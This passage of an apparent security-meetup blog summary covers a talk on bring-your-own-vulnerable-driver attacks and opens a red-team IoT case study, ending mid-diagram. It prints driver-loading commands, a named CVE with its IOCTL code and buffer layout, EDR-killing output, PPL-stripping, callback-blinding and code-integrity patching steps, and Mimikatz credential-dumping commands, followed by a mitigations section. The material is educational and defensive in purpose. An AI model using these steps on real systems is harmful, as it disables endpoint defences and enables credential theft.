  <text x="465" y="106" font-family="sans-serif" font-size="11" fill="#4a5568">\\Device\\VulnDriver created in DriverEntry</text>
  <rect x="455" y="130" width="290" height="65" rx="6" fill="#fff5f5" stroke="#feb2b2"></rect>
  <text x="465" y="152" font-family="monospace" font-size="11" font-weight="bold" fill="#c53030">IRP_MJ_DEVICE_CONTROL</text>
  <text x="465" y="172" font-family="sans-serif" font-size="11" fill="#e53e3e">Flawed buffer validation executes Ring 0 write</text>
  <line x1="325" y1="92" x2="442" y2="92" stroke="#3182ce" stroke-width="1.8" marker-end="url(#ioctlArrow)"></line>
  <line x1="325" y1="162" x2="442" y2="162" stroke="#3182ce" stroke-width="1.8" marker-end="url(#ioctlArrow)"></line>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.6:</strong> IOCTL Communication Architecture. User-mode clients issue control codes to kernel driver dispatch handlers via DeviceIoControl.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-legitimate-api-usage">1. Legitimate API Usage<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-legitimate-api-usage" class="hash-link" aria-label="Direct link to 1. Legitimate API Usage" title="Direct link to 1. Legitimate API Usage" translate="no">​</a></h4>
<ol>
<li class=""><strong><code>CreateFile</code>:</strong>
<ul>
<li class=""><em>Standard Function:</em> Opens a handle to a file, directory, or device object.</li>
<li class=""><em>Driver Usage:</em> The user-mode client calls <code>CreateFile</code> with a device interface path (e.g., <code>\\\\.\\VulnDriverDevice</code>) to obtain an open handle (<code>HANDLE</code>) to the driver.</li>
</ul>
</li>
<li class=""><strong><code>DeviceIoControl</code>:</strong>
<ul>
<li class=""><em>Standard Function:</em> Sends a control code and data buffers directly to a device driver.</li>
<li class=""><em>Syntax:</em>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">BOOL </span><span class="token function" style="color:rgb(80, 250, 123)">DeviceIoControl</span><span class="token punctuation" style="color:rgb(248, 248, 242)">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  HANDLE       hDevice</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  DWORD        dwIoControlCode</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  LPVOID       lpInBuffer</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  DWORD        nInBufferSize</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  LPVOID       lpOutBuffer</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  DWORD        nOutBufferSize</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  LPDWORD      lpBytesReturned</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  LPOVERLAPPED lpOverlapped</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">)</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><br></div></code></pre></div></div>
</li>
<li class=""><em>Driver Handling:</em> Inside the driver, the I/O Manager wraps this request into an I/O Request Packet (IRP) with major function code <code>IRP_MJ_DEVICE_CONTROL</code> and routes it to the driver's registered dispatch routine.</li>
</ul>
</li>
</ol>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-the-vulnerability-mechanism">2. The Vulnerability Mechanism<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-the-vulnerability-mechanism" class="hash-link" aria-label="Direct link to 2. The Vulnerability Mechanism" title="Direct link to 2. The Vulnerability Mechanism" translate="no">​</a></h4>
<p>Vulnerabilities arise when the driver's dispatch routine processes input buffers without validating memory pointers, buffer lengths, or caller authorization:</p>
<ul>
<li class=""><strong>Arbitrary Memory Read/Write:</strong> The driver accepts raw memory addresses from <code>lpInBuffer</code> and performs direct memory copies (<code>memcpy</code>, <code>memmove</code>) between user space and kernel space without verifying address ranges (e.g., failing to use <code>ProbeForRead</code> / <code>ProbeForWrite</code>).</li>
<li class=""><strong>Exposed Kernel Functionality:</strong> The driver exposes an IOCTL that directly calls privileged kernel routines (such as <code>ZwTerminateProcess</code>, <code>ZwOpenProcess</code>, or physical memory mapping functions) on behalf of any user-mode caller.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-5-complete-byovd-attack-workflow--edr-killer-mechanics">Part 5: Complete BYOVD Attack Workflow &amp; EDR Killer Mechanics<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-5-complete-byovd-attack-workflow--edr-killer-mechanics" class="hash-link" aria-label="Direct link to Part 5: Complete BYOVD Attack Workflow &amp; EDR Killer Mechanics" title="Direct link to Part 5: Complete BYOVD Attack Workflow &amp; EDR Killer Mechanics" translate="no">​</a></h3>
<p>The session demonstrated the end-to-end execution chain used by real-world threat actors and modern ransomware families (such as BlackCat, AvosLocker, and Akira) to neutralize security controls:</p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 270" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <marker id="atArrow" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#e53e3e"></path>
    </marker>
  </defs>
  <rect x="20" y="20" width="220" height="95" rx="8" fill="#f7fafc" stroke="#cbd5e0" stroke-width="1.5"></rect>
  <rect x="30" y="30" width="22" height="18" rx="4" fill="#3182ce"></rect>
  <text x="41" y="43" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">1</text>
  <text x="60" y="44" class="diagram-title">Initial Access &amp; Admin</text>
  <text x="30" y="68" class="diagram-text-muted">Foothold via Phishing / Exploit</text>
  <text x="30" y="86" class="diagram-text-muted">Elevates to SeLoadDriverPrivilege</text>
  <line x1="240" y1="67" x2="272" y2="67" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#atArrow)"></line>
  <rect x="280" y="20" width="220" height="95" rx="8" fill="#f7fafc" stroke="#cbd5e0" stroke-width="1.5"></rect>
  <rect x="290" y="30" width="22" height="18" rx="4" fill="#3182ce"></rect>
  <text x="301" y="43" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">2</text>
  <text x="320" y="44" class="diagram-title">Drop &amp; Load Driver</text>
  <text x="290" y="68" class="diagram-text-muted">Drops signed vulnerable .sys</text>
  <text x="290" y="86" class="diagram-text-muted">Loads via sc create / sc start</text>
  <line x1="500" y1="67" x2="532" y2="67" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#atArrow)"></line>
  <rect x="540" y="20" width="220" height="95" rx="8" fill="#f7fafc" stroke="#cbd5e0" stroke-width="1.5"></rect>
  <rect x="550" y="30" width="22" height="18" rx="4" fill="#3182ce"></rect>
  <text x="561" y="43" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">3</text>
  <text x="580" y="44" class="diagram-title">Open Device Handle</text>
  <text x="550" y="68" class="diagram-text-muted">CreateFile("\\\\.\\VulnDev")</text>
  <text x="550" y="86" class="diagram-text-muted">Connects user-mode exploit loader</text>
  <path d="M 650 115 L 650 133 L 130 133 L 130 142" fill="none" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#atArrow)"></path>
  <rect x="20" y="150" width="220" height="95" rx="8" fill="#fff5f5" stroke="#feb2b2" stroke-width="1.5"></rect>
  <rect x="30" y="160" width="22" height="18" rx="4" fill="#e53e3e"></rect>
  <text x="41" y="173" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">4</text>
  <text x="60" y="174" class="diagram-title" fill="#c53030">Send Malicious IOCTL</text>
  <text x="30" y="198" class="diagram-text-muted">DeviceIoControl(IOCTL_CODE)</text>
  <text x="30" y="216" class="diagram-text-muted">Triggers Ring 0 write / routine</text>
  <line x1="240" y1="197" x2="272" y2="197" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#atArrow)"></line>
  <rect x="280" y="150" width="220" height="95" rx="8" fill="#fff5f5" stroke="#feb2b2" stroke-width="1.5"></rect>
  <rect x="290" y="160" width="22" height="18" rx="4" fill="#e53e3e"></rect>
  <text x="301" y="173" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">5</text>
  <text x="320" y="174" class="diagram-title" fill="#c53030">Neutralize Defenses</text>
  <text x="290" y="198" class="diagram-text-muted">Kill MsMpEng.exe / EDR</text>
  <text x="290" y="216" class="diagram-text-muted">Strip PPL / Blind Callbacks</text>
  <line x1="500" y1="197" x2="532" y2="197" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#atArrow)"></line>
  <rect x="540" y="150" width="220" height="95" rx="8" fill="#ebf8ff" stroke="#3182ce" stroke-width="1.5"></rect>
  <rect x="550" y="160" width="22" height="18" rx="4" fill="#3182ce"></rect>
  <text x="561" y="173" text-anchor="middle" font-family="sans-serif" font-size="10" font-weight="bold" fill="#ffffff">6</text>
  <text x="580" y="174" class="diagram-title" fill="#2b6cb0">Unrestricted Action</text>
  <text x="550" y="198" class="diagram-text-muted">Dump LSASS via Mimikatz</text>
  <text x="550" y="216" class="diagram-text-muted">DSE Patching / Unsigned Rootkit</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.7:</strong> End-to-end BYOVD Attack Chain from initial access to kernel-level defense impairment.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-1-establishing-administrative-privileges">Step 1: Establishing Administrative Privileges<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#step-1-establishing-administrative-privileges" class="hash-link" aria-label="Direct link to Step 1: Establishing Administrative Privileges" title="Direct link to Step 1: Establishing Administrative Privileges" translate="no">​</a></h4>
<p>Loading a kernel driver requires <code>SeLoadDriverPrivilege</code> (granted to local Administrators and <code>SYSTEM</code>). Once an initial foothold is gained, standard privilege escalation techniques are used to elevate to administrative context.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-2-dropping-and-registering-the-vulnerable-driver">Step 2: Dropping and Registering the Vulnerable Driver<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#step-2-dropping-and-registering-the-vulnerable-driver" class="hash-link" aria-label="Direct link to Step 2: Dropping and Registering the Vulnerable Driver" title="Direct link to Step 2: Dropping and Registering the Vulnerable Driver" translate="no">​</a></h4>
<p>The attacker writes the signed driver binary (e.g., <code>wsftprm.sys</code>, <code>truesight.sys</code>, or <code>mhyprot2.sys</code>) to disk. Because the driver carries a valid digital certificate, default file scanners do not block it.</p>
<p>The driver is registered and started using the Service Control Manager (<code>sc.exe</code>):</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">sc create THM_LOVES_TCV binPath= "C:\Users\creep\Desktop\vulndriver.sys" type= kernel</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">sc start THM_LOVES_TCV</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-3-communicating-with-the-driver">Step 3: Communicating with the Driver<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#step-3-communicating-with-the-driver" class="hash-link" aria-label="Direct link to Step 3: Communicating with the Driver" title="Direct link to Step 3: Communicating with the Driver" translate="no">​</a></h4>
<p>The user-mode exploit loader acquires a handle to the driver:</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">HANDLE hDriver </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(80, 250, 123)">CreateFileA</span><span class="token punctuation" style="color:rgb(248, 248, 242)">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token string" style="color:rgb(255, 121, 198)">"\\\\.\\WSFTPRM"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    GENERIC_READ </span><span class="token operator">|</span><span class="token plain"> GENERIC_WRITE</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token number">0</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token constant" style="color:rgb(189, 147, 249)">NULL</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    OPEN_EXISTING</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    FILE_ATTRIBUTE_NORMAL</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token constant" style="color:rgb(189, 147, 249)">NULL</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">)</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-4-neutralizing-edr-defenses">Step 4: Neutralizing EDR Defenses<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#step-4-neutralizing-edr-defenses" class="hash-link" aria-label="Direct link to Step 4: Neutralizing EDR Defenses" title="Direct link to Step 4: Neutralizing EDR Defenses" translate="no">​</a></h4>
<p>Attackers employ several methods depending on the vulnerable driver's capabilities:</p>
<h5 class="anchor anchorTargetStickyNavbar_Vzrq" id="method-a-direct-process-termination-via-driver-dispatch">Method A: Direct Process Termination via Driver Dispatch<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#method-a-direct-process-termination-via-driver-dispatch" class="hash-link" aria-label="Direct link to Method A: Direct Process Termination via Driver Dispatch" title="Direct link to Method A: Direct Process Termination via Driver Dispatch" translate="no">​</a></h5>
<p>In the live demonstration, the speaker leveraged a vulnerable driver (<code>wsftprm.sys</code>, CVE-2023-52271) abused by <code>AV-EDR-Killer</code>:</p>
<ul>
<li class=""><strong>Vulnerability Details:</strong> Triggered via IOCTL <code>0x22201C</code> with a 1036-byte buffer. The first 4 bytes contain the target Process ID (PID) as a DWORD.</li>
<li class=""><strong>Underlying Execution:</strong> Upon receiving this IOCTL, the driver executes the kernel API <code>ZwTerminateProcess</code> on the requested PID.</li>
<li class="">Because <code>ZwTerminateProcess</code> originates from <strong>Ring 0</strong>, user-mode PPL protections and <code>ObRegisterCallbacks</code> filters are completely bypassed.</li>
<li class=""><strong>Target Processes Terminated:</strong>
<ul>
<li class=""><code>MsMpEng.exe</code> (Microsoft Defender core antimalware service)</li>
<li class=""><code>NisSrv.exe</code> (Microsoft Network Realtime Inspection Service)</li>
<li class=""><code>SecurityHealthService.exe</code> (Windows Security Center service)</li>
<li class=""><code>smartscreen.exe</code> (Windows Defender SmartScreen)</li>
</ul>
</li>
</ul>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">[+] Driver initialized successfully!</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[+] Driver ready for operation, Handle: 0x8aadcff970</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[*] Scanning for target processes...</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  -- Found MsMpEng.exe - PID: 2296</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[*] Killing MsMpEng.exe ...</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[+] IOCTL 0x22201C sent for PID: 2296</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  -- Found NisSrv.exe - PID: 4776</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[*] Killing NisSrv.exe ...</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">[+] IOCTL 0x22201C sent for PID: 4776</span><br></div></code></pre></div></div>
<h5 class="anchor anchorTargetStickyNavbar_Vzrq" id="method-b-ppl-stripping-via-direct-kernel-object-manipulation-dkom">Method B: PPL Stripping via Direct Kernel Object Manipulation (DKOM)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#method-b-ppl-stripping-via-direct-kernel-object-manipulation-dkom" class="hash-link" aria-label="Direct link to Method B: PPL Stripping via Direct Kernel Object Manipulation (DKOM)" title="Direct link to Method B: PPL Stripping via Direct Kernel Object Manipulation (DKOM)" translate="no">​</a></h5>
<p>When using a driver that provides arbitrary read/write primitives (such as the RTCore64 driver utilized in <code>PPLKiller</code> by Mattiwatti):</p>
<ol>
<li class="">The exploit locates the base address of the kernel (<code>ntoskrnl.exe</code>) and finds the active process list (<code>PsInitialSystemProcess</code>).</li>
<li class="">It walks the <code>ActiveProcessLinks</code> doubly linked list to locate the target <code>EPROCESS</code> structure (e.g., <code>lsass.exe</code> or the EDR process).</li>
<li class="">Using documented struct offsets (cataloged by the <strong>Vergilius Project</strong> across various Windows build versions), it targets the <code>_PS_PROTECTION</code> byte.</li>
<li class=""><strong>PPL Stripping:</strong> It writes <code>0x00</code> into <code>EPROCESS.Protection.Level</code>, downgrading the process to an unprotected state. Standard tools can then open handles with full access rights.</li>
<li class=""><strong>PPL Elevation:</strong> Alternatively, the exploit writes <code>0x72</code> (<code>WinTcb</code>) into the attacker's own process <code>_PS_PROTECTION</code> field, granting it authority to inspect any other protected process on the machine.</li>
</ol>
<h5 class="anchor anchorTargetStickyNavbar_Vzrq" id="method-c-blinding-kernel-callbacks">Method C: Blinding Kernel Callbacks<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#method-c-blinding-kernel-callbacks" class="hash-link" aria-label="Direct link to Method C: Blinding Kernel Callbacks" title="Direct link to Method C: Blinding Kernel Callbacks" translate="no">​</a></h5>
<p>Instead of terminating the EDR process (which might trigger external watchdog alerts), advanced attackers zero out kernel callback arrays:</p>
<ol>
<li class="">The attacker locates unexported kernel callback arrays such as <code>PspCreateProcessNotifyRoutine</code>, <code>PspCreateThreadNotifyRoutine</code>, and <code>PspLoadImageNotifyRoutine</code>.</li>
<li class="">Each array holds up to 64 callback routine pointers encoded using pointer alignment masks.</li>
<li class="">The exploit locates the entries belonging to the EDR's driver module and writes <code>NULL</code> (or replaces them with pointers to a dummy <code>RET</code> instruction).</li>
<li class=""><strong>Result:</strong> The EDR user-mode agent continues running normally, reporting a healthy state, while remaining completely blind to newly spawned processes, injected threads, and loaded modules.</li>
</ol>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-6-post-exploitation--dse-patching">Part 6: Post-Exploitation &amp; DSE Patching<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-6-post-exploitation--dse-patching" class="hash-link" aria-label="Direct link to Part 6: Post-Exploitation &amp; DSE Patching" title="Direct link to Part 6: Post-Exploitation &amp; DSE Patching" translate="no">​</a></h3>
<p>Once kernel-level control is established and security software is neutralized:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-lsass-credential-dumping">1. LSASS Credential Dumping<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-lsass-credential-dumping" class="hash-link" aria-label="Direct link to 1. LSASS Credential Dumping" title="Direct link to 1. LSASS Credential Dumping" translate="no">​</a></h4>
<p>With PPL stripped or EDR drivers blinded, tools such as <strong>Mimikatz</strong> execute unhindered:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">mimikatz # privilege::debug</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">mimikatz # sekurlsa::logonpasswords</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">mimikatz # coffee</span><br></div></code></pre></div></div>
<p>Attackers dump cleartext credentials, NTLM hashes, and Kerberos tickets directly from <code>lsass.exe</code> memory.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-dse-patching-the-door-to-unsigned-rootkits">2. DSE Patching (The Door to Unsigned Rootkits)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-dse-patching-the-door-to-unsigned-rootkits" class="hash-link" aria-label="Direct link to 2. DSE Patching (The Door to Unsigned Rootkits)" title="Direct link to 2. DSE Patching (The Door to Unsigned Rootkits)" translate="no">​</a></h4>
<p>Using the kernel write primitive, tools like <code>DSE-Patcher</code> locate the Code Integrity variable <code>g_CiEnabled</code> (or <code>g_CiOptions</code>) in <code>CI.dll</code> memory:</p>
<ol>
<li class="">The exploit overwrites <code>g_CiOptions</code> with <code>0x0</code> (disabling digital signature checks).</li>
<li class="">The attacker loads custom, unsigned kernel rootkits to achieve persistent, covert Ring 0 control.</li>
<li class="">The exploit restores the original <code>g_CiOptions</code> value to evade periodic integrity validation routines.</li>
</ol>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-7-defensive-countermeasures--mitigations">Part 7: Defensive Countermeasures &amp; Mitigations<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-7-defensive-countermeasures--mitigations" class="hash-link" aria-label="Direct link to Part 7: Defensive Countermeasures &amp; Mitigations" title="Direct link to Part 7: Defensive Countermeasures &amp; Mitigations" translate="no">​</a></h3>
<p>Defending against BYOVD requires a defense-in-depth strategy:</p>
<ol>
<li class=""><strong>Microsoft Vulnerable Driver Blocklist &amp; WDAC:</strong>
<ul>
<li class="">Enforce <strong>Windows Defender Application Control (WDAC)</strong> policies configured with Microsoft's recommended driver block rules.</li>
<li class="">Enable <strong>Hypervisor-Protected Code Integrity (HVCI)</strong> / Memory Integrity to enforce driver blocklists at the hypervisor layer.</li>
</ul>
</li>
<li class=""><strong>Logic-Based YARA Rules:</strong>
<ul>
<li class="">Rather than matching volatile file hashes (which attackers modify by altering non-functional metadata or padding), YARA rules should match specific IOCTL dispatch opcodes and unique code patterns of known-vulnerable drivers.</li>
</ul>
</li>
<li class=""><strong>Kernel Telemetry &amp; Integrity Watchdogs:</strong>
<ul>
<li class="">Implement EDR self-monitoring that periodically verifies the integrity of registered kernel callbacks and driver service states.</li>
</ul>
</li>
<li class=""><strong>Credential Guard &amp; Zero Trust:</strong>
<ul>
<li class="">Enable <strong>Windows Defender Credential Guard</strong>, which isolates LSASS secrets inside a Virtual Secure Mode (VSM) enclave powered by the Hyper-V hypervisor, preventing even Ring 0 kernel code from accessing plaintext keys.</li>
</ul>
</li>
</ol>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-2-coffee-shop-to-corporate-network-understanding-the-hidden-risks-of-connected-iot-devices-by-omkar-mali">Session 2: "Coffee Shop to Corporate Network: Understanding the Hidden Risks of Connected IoT Devices" by Omkar Mali<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#session-2-coffee-shop-to-corporate-network-understanding-the-hidden-risks-of-connected-iot-devices-by-omkar-mali" class="hash-link" aria-label="Direct link to Session 2: &quot;Coffee Shop to Corporate Network: Understanding the Hidden Risks of Connected IoT Devices&quot; by Omkar Mali" title="Direct link to Session 2: &quot;Coffee Shop to Corporate Network: Understanding the Hidden Risks of Connected IoT Devices&quot; by Omkar Mali" translate="no">​</a></h2>
<p>The second session presented an end-to-end red team case study demonstrating how a seemingly benign, untrusted smart device, a smart refrigerator in a corporate café, can be exploited to compromise an enterprise active directory environment, corporate email systems, VPN gateways, and internal video surveillance infrastructure.</p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 190" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <linearGradient id="iotGrad1" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#feebc8"></stop>
      <stop offset="100%" stop-color="#fbd38d"></stop>
    </linearGradient>
    <linearGradient id="iotGrad2" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#ebf8ff"></stop>
      <stop offset="100%" stop-color="#bee3f8"></stop>
    </linearGradient>
    <linearGradient id="iotGrad3" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#fed7d7"></stop>
      <stop offset="100%" stop-color="#feb2b2"></stop>
    </linearGradient>
  </defs>
  <rect x="15" y="25" width="135" height="135" rx="10" fill="url(#iotGrad1)" stroke="#dd6b20" stroke-width="1.8"></rect>
  <rect x="25" y="35" width="24" height="20" rx="4" fill="#dd6b20"></rect>
  <text x="37" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">1</text>
  <text x="82" y="70" text-anchor="middle" class="diagram-title">Physical Access</text>
  <text x="82" y="91" text-anchor="middle" class="diagram-text-muted">Kiosk Multi-Touch</text>
  <text x="82" y="107" text-anchor="middle" class="diagram-text-muted">Panel Escape</text>
  <text x="82" y="125" text-anchor="middle" class="diagram-text-muted">Network Intel</text>
  <line x1="150" y1="92" x2="168" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="170" y="25" width="135" height="135" rx="10" fill="url(#iotGrad1)" stroke="#dd6b20" stroke-width="1.8"></rect>
  <rect x="180" y="35" width="24" height="20" rx="4" fill="#dd6b20"></rect>
  <text x="192" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">2</text>
  <text x="237" y="70" text-anchor="middle" class="diagram-title">OSINT &amp; Auth</text>
  <text x="237" y="91" text-anchor="middle" class="diagram-text-muted">Chinese Docs (.cn)</text>
  <text x="237" y="107" text-anchor="middle" class="diagram-text-muted">AI Translation</text>
  <text x="237" y="125" text-anchor="middle" class="diagram-text-muted">Dev Wi-Fi Creds</text>
  <line x1="305" y1="92" x2="323" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="325" y="25" width="135" height="135" rx="10" fill="url(#iotGrad2)" stroke="#3182ce" stroke-width="1.8"></rect>
  <rect x="335" y="35" width="24" height="20" rx="4" fill="#3182ce"></rect>
  <text x="347" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">3</text>
  <text x="392" y="70" text-anchor="middle" class="diagram-title">Device Exploit</text>
  <text x="392" y="91" text-anchor="middle" class="diagram-text-muted">Unauth Web Portal</text>
  <text x="392" y="107" text-anchor="middle" class="diagram-text-muted">Compressor Off</text>
  <text x="392" y="125" text-anchor="middle" class="diagram-text-muted">Firmware Flashing</text>
  <line x1="460" y1="92" x2="478" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="480" y="25" width="135" height="135" rx="10" fill="url(#iotGrad2)" stroke="#3182ce" stroke-width="1.8"></rect>
  <rect x="490" y="35" width="24" height="20" rx="4" fill="#3182ce"></rect>
  <text x="502" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">4</text>
  <text x="547" y="70" text-anchor="middle" class="diagram-title">Network Pivot</text>
  <text x="547" y="91" text-anchor="middle" class="diagram-text-muted">No VLAN Isolation</text>
  <text x="547" y="107" text-anchor="middle" class="diagram-text-muted">30+ Workstations</text>
  <text x="547" y="125" text-anchor="middle" class="diagram-text-muted">5 Network Printers</text>
  <line x1="615" y1="92" x2="633" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="635" y="25" width="130" height="135" rx="10" fill="url(#iotGrad3)" stroke="#e53e3e" stroke-width="1.8"></rect>
  <rect x="645" y="35" width="24" height="20" rx="4" fill="#e53e3e"></rect>
  <text x="657" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">5</text>
  <text x="700" y="70" text-anchor="middle" class="diagram-title">Domain &amp; VPN</text>
